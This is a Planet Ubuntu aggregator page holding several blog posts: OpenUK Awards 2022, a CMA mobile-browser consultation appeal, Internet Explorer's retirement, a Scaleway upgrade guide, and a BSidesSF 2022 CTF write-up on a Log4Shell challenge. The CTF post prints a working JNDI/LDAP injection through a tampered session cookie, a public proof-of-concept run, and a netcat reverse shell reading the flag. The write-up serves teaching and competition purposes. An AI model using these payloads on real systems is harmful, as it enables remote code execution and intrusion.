You are here

Planet Ubuntu

Subscribe to Feed Planet Ubuntu
Planet Ubuntu - http://planet.ubuntu.com/
Përditësimi: 22 orë 46 min më parë

Jonathan Riddell: OpenUK Awards 2022

Mar, 21/06/2022 - 7:27md
OpenUK is the non-profit body which promotes Open tech in the UK.

Nominations are now open for the OpenUK Awards 2022.

We’ve run our annual awards ceremony to recognise great Open tech contributions for the last two years with great success and this year nominations are open for you to join or point is to the best people, organisations and projects that need rewarded.

Two years ago it we had dinner sent to your door during Covid. Last year we dined at the centre of the world at COP26. This year we’re Lording it up with a ceremony and dinner in the House of Lords on 30 November.

House of Commons

Last week we had a preview of the event, a delayed Burns supper in the House of Commons. One of the wonderful aspects of Open tech is how it gets you to exciting places and meet interesting people. In this case SNP MPs hosted and we got to promote KDE and tech freedom.

So please nominate yourself, your project, your company or your org. Or if you know someone else who should be nominated go and nominate them. We have three fine judges lined up who will go over the entries so remember to give a good writeup of what the work done is and why it deserves recognition along with links to code repos etc so we can research it.

Categories are: software, sustainability, data, belonging, young person, finance, individual, hardware and security.

Nominate now. And take a look at the 2021 OpenUK awards for more inspiration.

David Tomaschik: BSidesSF 2022 CTF: Login4Shell

Hën, 20/06/2022 - 9:00pd

Log4Shell was arguably the biggest vulnerability disclosure of 2021. Security teams across the entire world spent the end of the year trying to address this bug (and several variants) in the popular Log4J logging library.

The vulnerability was caused by special formatting strings in the values being logged that allow you to include a reference. This reference, it turns out, can be loaded via JNDI, which allows remotely loading the results as a Java class.

This was such a big deal that there was no way we could let the next BSidesSF CTF go by without paying homage to it. Fun fact, this meant I “got” to build a Java webapp, which is actually something I’d never done from scratch before. Nothing quite like learning about Jetty, Log4J, and Maven just for a CTF level.

Visiting the given application, we see a basic page with options to login and register along with a changelog:

The changelog notes that the logger was “patched for Log4Shell” and that there was previously support for sub-users in the format “user+subuser”, but it has alledgedly been removed.

Registering an account, we’re requested to provide only a username. The password is given to us once we register. Registering the username “writeup”, we get the password “7fAFsdYlz-oH”. If we login with these credentials, we now see a link to a page called “Flag”, as well as a “Logout” link. Could we just get the flag directly? Let’s check.

Unfortunately, no such luck. We’re presented with a page containing the following:

Oh come on, it wasn’t going to be that simple. We’re going to make you work for this.

The flag is accessible at /home/ctf/flag.txt.

Oh yeah, your effort to get the flag has been logged. Don’t make me tell you again.

Noting the combination of the logging bug mentioned on the homepage (and the hint from the name of the challenge), as well as the message here about being logged, perhaps this is a place we could do something. Let’s look for anywhere accepting user input.

Other than the login and register forms, we find nothing interesting across the entire app. Attempting to put a log4shell payload into the login and register forms merely obtains an error:

Error: Username must be lowercase alphanumeric!

Taking a look at the login process, we see that we get handed a cookie (logincookie) for the session when we login:

1 eyJ1c2VybmFtZSI6IndyaXRldXAiLCJwYXNzd29yZCI6IjdmQUZzZFlsei1vSCJ9

It might be an opaque session token, but from experience, I know that ey is the base64 encoding of the opening of a JSON object ({"). Let’s decode it and see what we get:

1 {"username":"writeup","password":"7fAFsdYlz-oH"}

Interestingly enough, our session cookie is just a JSON object that contains the plaintext username and password for our user. There’s no obvious signature or MAC involved. Maybe we can tamper directly with the cookie. If I change the username by adding a letter, it effectively logs me out. Likewise, changing the password gives me the logged-out experience.

Looking back at the “subuser” syntax mentioned on the homepage, I decided to try that directly with the cookie. Setting the username to writeup+a with the same password, the site seems to recognize me as logged-in again. To check if this field might be vulnerable without needing to setup the full exploit ourselves, we can use the Huntress Log4Shell test. Inserting the provided payload gives us the following cookie:

1 2 {"username":"writeup+${jndi:ldap://log4shell.huntress.com:1389/d21b4a24-08c8-4d91-9da3-b12fa5f0a472}","password":"7fAFsdYlz-oH"} eyJ1c2VybmFtZSI6IndyaXRldXArJHtqbmRpOmxkYXA6Ly9sb2c0c2hlbGwuaHVudHJlc3MuY29tOjEzODkvZDIxYjRhMjQtMDhjOC00ZDkxLTlkYTMtYjEyZmE1ZjBhNDcyfSIsInBhc3N3b3JkIjoiN2ZBRnNkWWx6LW9IIn0=

If we set our cookie to that value, then visit the /flag page again so our attempt is logged, we should trigger the vulnerability, as we understand it so far. Doing so, then refreshing our page on Huntress shows the callback hitting their server. We’ve successfully identified a sink for the log4shell payload! Now we just need to serve up a payload.

Unfortunately, this requires an internet exposed server. There’s a couple of ways to do this, such as port forwarding on your router, a service like ngrok, or running a VPS/Cloud Server. In this case, I’ll use a VPS from Digital Ocean.

I grabbed the log4j-shell-poc from kozmer to launch the attack. This, itself, depends on the marshalsec project. This requires exposing 3 ports: LDAP on port 1389, a port for the reverse shell, and a port for an HTTP server for the payload. The LDAP server will point to the HTTP server, which will provide a class file as the payload, which launches a reverse shell to the final port. We launch the PoC with our external IP:

1 2 3 4 5 6 7 8 9 python3 ./poc.py --userip 137.184.181.246 [!] CVE: CVE-2021-44228 [!] Github repo: https://github.com/kozmer/log4j-shell-poc [+] Exploit java class created success [+] Setting up LDAP server [+] Send me: ${jndi:ldap://137.184.181.246:1389/a}

After starting a netcat listener on port 9001, we send the provided string in our username within the cookie and load the flag page again:

1 2 {"username":"writeup+${jndi:ldap://137.184.181.246:1389/a}","password":"7fAFsdYlz-oH"} eyJ1c2VybmFtZSI6IndyaXRldXArJHtqbmRpOmxkYXA6Ly8xMzcuMTg0LjE4MS4yNDY6MTM4OS9hfSIsInBhc3N3b3JkIjoiN2ZBRnNkWWx6LW9IIn0=

Upon reloading, we see our netcat shell light up:

1 2 3 4 5 6 7 nc -nvlp 9001 Listening on 0.0.0.0 9001 Connection received on 35.247.118.88 36856 id uid=2000(ctf) gid=2000(ctf) groups=2000(ctf) cat /home/ctf/flag.txt CTF{thanks_for_logging_in_to_our_logs_login_shell}

Stuart Langridge: Help the CMA help the Web

Pre, 17/06/2022 - 12:33md

As has been mentioned here before the UK regulator, the Competition and Markets Authority, are conducting an investigation into mobile phone software ecosystems, and they recently published the results of that investigation in the mobile ecosystems market study. They’re also focusing in on two particular areas of concern: competition among mobile browsers, and in cloud gaming services. This is from their consultation document:

Mobile browsers are a key gateway for users and online content providers to access and distribute content and services over the internet. Both Apple and Google have very high shares of supply in mobile browsers, and their positions in mobile browser engines are even stronger. Our market study found the competitive constraints faced by Apple and Google from other mobile browsers and browser engines, as well as from desktop browsers and native apps, to be weak, and that there are significant barriers to competition. One of the key barriers to competition in mobile browser engines appears to be Apple’s requirement that other browsers on its iOS operating system use Apple’s WebKit browser engine. In addition, web compatibility limits browser engine competition on devices that use the Android operating system (where Google allows browser engine choice). These barriers also constitute a barrier to competition in mobile browsers, as they limit the extent of differentiation between browsers (given the importance of browser engines to browser functionality).

They go on to suggest things they could potentially do about it:

A non-exhaustive list of potential remedies that a market investigation could consider includes:
  • removing Apple’s restrictions on competing browser engines on iOS devices;
  • mandating access to certain functionality for browsers (including supporting web apps);
  • requiring Apple and Google to provide equal access to functionality through APIs for rival browsers;
  • requirements that make it more straightforward for users to change the default browser within their device settings;
  • choice screens to overcome the distortive effects of pre-installation; and
  • requiring Apple to remove its App Store restrictions on cloud gaming services.

But, importantly, they want to know what you think. I’ve now been part of direct and detailed discussions with the CMA a couple of times as part of OWA, and I’m pretty impressed with them as a group; they’re engaged and interested in the issues here, and knowledgeable. We’re not having to educate them in what the web is. The UK’s potential digital future is not all good (and some of the UK’s digital future looks like it could be rather bad indeed!) but the CMA’s work is a bright spot, and it’s important that we support the smart people in tech government, lest we get the other sort.

So, please, take a little time to write down what you think about all this. The CMA are governmental: they have plenty of access to windy bloviations about the philosophy of tech, or speculation about what might happen from “influencers”. What’s important, what they need, is real comments from real people actually affected by all this stuff in some way, either positively or negatively. Tell they whether you think they’ve got it right or wrong; what you think the remedies should be; which problems you’ve run into and how they affected your projects or your business. Earlier in this process we put out calls for people to send in their thoughts and many of you responded, and that was really helpful! We can do more this time, when it’s about browsers and the Web directly, I hope.

If you feel as I do then you may find OWA’s response to the CMA’s interim report to be useful reading, and also the whole OWA twitter thread on this, but the most important thing is that you send in your thoughts in your own words. Maybe what you think is that everything is great as it is! It’s still worth speaking up. It is only a good thing if the CMA have more views from actual people on this, regardless of what those views are. These actions that the CMA could take here could make a big difference to how competition on the Web proceeds, and I imagine everyone who builds for the web has thoughts on what they want to happen there. Also there will be thoughts on what the web should be from quite a few people who use the web, which is to say: everybody. And everybody should put their thoughts in.

So here’s the quick guide:

  1. You only have until July 22nd
  2. Read Mobile browsers and cloud gaming from the CMA
  3. Decide for yourself:
    • How these issues have personally affected you or your business
    • How you think changes could affect the industry and consumers
    • What interventions you think are necessary
  4. Email your response to browsersandcloud@cma.gov.uk

Go to it. You have a month. It’s a nice sunny day in the UK… why not read the report over lunchtime and then have a think?

Bryan Quigley: Dev Ops job?

Mër, 15/06/2022 - 6:00md
Dev Ops Job?

Are you looking for a remote (US, Canada, or Phila) Dev Ops job with a company focused on making a positive impact?

Oli Warner: Goodbye Internet Explorer

Mër, 15/06/2022 - 2:00pd

But what will people download Chrome with now?

Raise a glass, kiss your wife, hug your children. It’s finally gone.

It’s dead.

Internet Explorer has been dying for an age. 15 years ago IE6 finally bit it, 8 years ago I was calling for webdevs to hasten the death of IE8 and today is the day that Microsoft has finally pulled regular support for “retired” Internet Explorer 11, last of its name.

Its successor, Edge, uses Chrome’s renderer. While I’m sure we’ll have a long chat about the problems of monocultures one day, this means —for now— we can really focus on modern standards without having to worry about what this 9 year old renderer thinks. And I mean that at a commercial, enterprise level. Use display: grid without fallback code. Use ES6 features without Babel transpiling everything. Go, create something and expect it to just work.

Here’s to never having to download the multi-gigabyte, 90 day Internet Explorer test machine images. Here’s to kicking out swathes of compat code. Here’s to being able to [fairly] rigourously test a website locally without a third party running a dozen versions of Windows.

The web is more free for this. Rejoice! while it lasts.

Salih Emin: Hello world!

Mar, 07/06/2022 - 11:00pd

Welcome to WordPress. This is your first post. Edit or delete it, then start writing!

Simos Xenitellis: How to upgrade your Scaleway server

Sht, 04/06/2022 - 5:51md

You have a Scaleway Virtual Private Server (VPS) and you are considering upgrading your installed Linux distribution. Perhaps you have been notified by Scaleway to upgrade an old Linux version. The email asks you to upgrade but does not give you the necessary information on how to upgrade or how to avoid certain pitfalls.

Scaleway email: “Important Notice: End-Of-Life of Your Instance Images” What could go wrong when you try to upgrade?

A few things can go wrong.

Watch out for Bootscripts

The most important thing that can go wrong, is if your VPS is using a bootscript. A bootscript is a fixed way for booting your Linux server and this included a generic Scaleway-provided Linux kernel. You would be running Ubuntu but the Linux kernel would be a common Scaleway Linux kernel among all Linux distributions. The config options would be set in stone and that would cause some issues. That situation changed and Scaleway now uses the distro Linux kernels. But since Scaleway sent an email about old Linux versions, then you need to check this one out.

To verify, go into the Advanced Settings, in Boot Mode. If it looks as follows, then you are using a bootscript. When you upgrade the Linux version, then the Linux kernel will stay the same as instructed by the bootscript. The proper Boot Mode should be “Use local boot” so that your VPS is using your distro’s Linux kernel. Fun fact #39192: If you offer Ubuntu to your users but you do not use the Ubuntu kernel, then Canonical does not grant you a (free) right to advertise that you are offering “Ubuntu” because it’s not really real Ubuntu (the Linux kernel is not a stock Ubuntu Linux kernel). Since around 2019 Scaleway would default with the Use local boot Boot Mode. In my case it was indeed Use local boot, therefore I did not have to deal with bootscripts. I just clicked on Use bootscript for the purposes for this post; I did not apply this change.

Boot Mode in the Scaleway Advanced Settings. Verify that the console works (Serial console, recovery)

You normally connect to your Linux server using SSH. But what happens if something goes wrong and you lose access? Specifically, if you are upgrading your Linux installation? You need a separate way, a backup option, to connect back to the server. This is achieved with the Console. It opens up a browser window that gives you access to the Linux Console of the server, over the web. It’s separate from SSH, therefore if SSH access is not available but the server is still running, you can still access here. Note that when you upgrade Debian or Ubuntu over SSH with do-release-upgrade, the upgrader creates a screen session that you can detach and attach at will. If you lose SSH access, connect to the Console and attach there.

Link to open the Console.

Note two things.

  1. The Console in Scaleway does not work on Firefox. Anything that is based on chromium should work fine. It is not clear why it does not work. If you try to place your mouse cursor on the button, it shows Firefox is not currently compatible with the serial console.
  2. Make sure that you know the username and password of your non-root account on your Scaleway server. No, really. You would normally connect with SSH and Public-Key Authentication. For what is worth, the account could be locked. Try it out now and get a shell.
Beware of firewalls and security policies and security groups

When you are upgrading the distribution with Debian and Ubuntu, and you do so over SSH, the installer/upgrader will tell you that it will open a backup SSH server on a different port, like 1022. It will also tell you to open that port, if you use a Linux firewall on your server. If you plan to keep that as a backup option, note that Scaleway has a facility called Security Groups that works like a global firewall of your Scaleway servers. That is, you can block access to certain ports if you specify them in the Security Group, and you have assigned those Scaleway servers in that Security Group.

Therefore, if you plan to rely on access to port 1022, make sure that the Security Group does not block it.

How to avoid having things go wrong?

When you upgrade a Linux distribution, you are asked all sort of questions along the way. Most likely, the upgrader will ask if you want to keep back a certain configuration file, or if you want to have it replaced by the newer version.

If you are upgrading your Ubuntu server, you would install the ubuntu-release-upgrader-core package and then run do-release-upgrade.

$ sudo apt install ubuntu-release-upgrader-core ... $ sudo do-release-upgrade ...

To avoid making a mistake here, you can launch a new Scaleway server with that old Linux distro version and perform an upgrade there. By doing so, you will note that you will be asked

  1. whether to keep your old SSH configuration or install a new one. Install the new one and make a note to apply later any changes from the old configuration.
  2. whether to be asked specifically which services to restart or let the system do these automatically. You would consider this if the server deals with a lot of traffic.
  3. whether to keep or install the new configuration for the Web server. Most likely you keep the old configuration. Or your Web servers will not start automatically and you need to fix the configuration files manually.
  4. whether you want to keep or update grub. AFAIK, grub is not used here, so the answer does not matter.
  5. whether you want to upgrade to the snap package of LXD. If you use LXD, you should have switched already to the snap package of LXD so that you are not asked here. If you do not use LXD, then before the upgrade you should uninstall LXD (the DEB version) so that the upgrade does not install the snap package of LXD. If the installer decides that you must upgrade LXD, you cannot select to skip it; you will get the snap package of LXD.

Here are some relevant screenshots.

You are upgrading over SSH so you are getting an extra SSH server for your safety. How it looks when you upgrade from a pristine Ubuntu 16.04 to Ubuntu 18.04. Fast-forward, the upgrade completed and we connect with SSH. Are are prompted to upgrade again to the next LTS, Ubuntu 20.04. How it looks when you upgrade from a pristine Ubuntu 18.04 to Ubuntu 20.04. Troubleshooting

You have upgraded your server but your WordPress site does not start. Why? Here’s a screenshot.

Error “502 Bad Gateway” from a WordPress website.

A WordPress website requires PHP and normally the PHP package should update automatically. It actually does update automatically. The problem is with the Unix socket for PHP. The Web server (NGINX in our case) needs access to the Unix socket of PHP. In Ubuntu the Unix socket looks like /run/php/php7.4-fpm.sock.

Ubuntu version Filename for the PHP Unix socketUbuntu 16.04 /run/php/php7.0-fpm.sockUbuntu 18.04 /run/php/php7.2-fpm.sockUbuntu 20.04 /run/php/php7.4-fpm.sockThe filename of the PHP Unix socket per Ubuntu version.

Therefore, you need to open the configuration file for each of your websites and edit the PHP socket directory with the updated filename for the PHP Unix socket. Here is the corrected snippet for Ubuntu 20.04.

# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 # location ~ .php$ { include snippets/fastcgi-php.conf; # # # With php7.0-cgi alone: # fastcgi_pass 127.0.0.1:9000; # With php7.0-fpm: fastcgi_pass unix:/run/php/php7.4-fpm.sock; } A request

Scaleway, if you are reading this, please have a look at this feature request.

blog.simos.info/